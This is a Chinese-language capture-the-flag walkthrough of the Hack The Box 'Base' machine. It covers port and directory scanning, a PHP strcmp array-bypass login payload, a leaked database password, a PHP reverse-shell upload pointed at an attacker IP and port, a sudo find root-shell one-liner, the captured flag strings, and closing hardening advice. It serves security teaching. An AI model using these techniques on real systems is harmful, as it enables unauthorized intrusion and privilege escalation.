[StartingPoint][Tier2]Base
字数 1242 2025-08-19 12:42:24
网络安全渗透测试实战教学:从基础扫描到权限提升
1. 初始信息收集
1.1 端口扫描
使用Nmap进行基础扫描,识别开放端口和服务:
nmap -sC -sV 10.129.234.232
发现开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务
2. Web应用分析
2.1 登录页面路径
通过目录扫描或手动探测发现登录页面路径:
/login/login.php
2.2 目录结构分析
使用Gobuster进行目录扫描:
gobuster dir --url http://10.129.234.232 --wordlist ./word.txt
重要发现:
/_uploaded:文件上传目录/admin:可能存在管理后台/static:静态资源目录
2.3 登录目录文件数量
/login目录下存在3个文件:
login.php:登录主页面config.php:配置文件- 第三个文件可能是
.htaccess或其他支持文件
3. 登录机制分析
3.1 密码比较函数
后端使用PHP的strcmp()函数进行用户名密码验证:
strcmp($user_input, $valid_credential);
安全漏洞:
- PHP 7.3.0之前版本的
strcmp()函数存在类型转换漏洞,可通过数组绕过验证:$_POST['password'] = array(); // 可绕过strcmp验证
3.2 配置文件泄露
发现配置文件路径:
/var/www/html/login/config.php
内容示例:
<?php
$db_user = "john";
$db_pass = "thisisagoodpassword";
?>
4. 文件上传与利用
4.1 上传目录
上传文件存储在:
/_uploaded/
4.2 Webshell上传
上传PHP反向shell脚本(示例代码已提供),关键参数:
$ip = '10.10.16.5'; // 攻击者IP
$port = 10032; // 攻击者监听端口
5. 系统用户信息
5.1 有效用户
系统存在用户:
john:具有主目录/home/john- 密码:
thisisagoodpassword(从配置文件获取)
6. 权限提升
6.1 sudo权限检查
发现用户john可以以root身份运行find命令:
/usr/bin/find
6.2 find命令提权
利用find的-exec参数执行命令:
sudo find . -exec /bin/sh \; -quit
提权原理:
-exec:对每个匹配文件执行指定命令\;:表示命令结束-quit:处理第一个文件后立即退出
6.3 GTFOBins利用
参考GTFOBins(https://gtfobins.github.io/)中关于find的提权方法:
sudo find . -exec /bin/sh \; -quit
7. 标志获取
7.1 用户flag
路径:
/home/john/user.txt
内容:
f54846c258f3b4612f78a819573d158e
7.2 root flag
路径:
/root/root.txt
内容:
51709519ea18ab37dd6fc58096bea949
8. 安全建议
-
strcmp使用:
- 升级PHP至7.3.0+版本
- 使用严格比较
===替代strcmp
-
配置文件保护:
- 将配置文件移出Web可访问目录
- 设置适当权限(600)
-
sudo权限控制:
- 避免普通用户以root身份运行find等危险命令
- 使用更细粒度的sudoers配置
-
文件上传限制:
- 验证文件类型和内容
- 将上传目录设置为不可执行
-
交换文件安全:
- 注意
.swp文件可能泄露敏感信息 - 考虑禁用swap或加密swap分区
- 注意
9. 完整渗透流程总结
- 端口扫描发现服务
- Web目录枚举找到登录页面
- 分析登录机制,利用strcmp漏洞或获取凭据
- 通过文件上传获取webshell
- 横向移动获取用户凭据
- 利用sudo权限不当配置提权
- 获取最终flag
通过此案例,可以全面了解从信息收集到权限提升的完整渗透测试流程。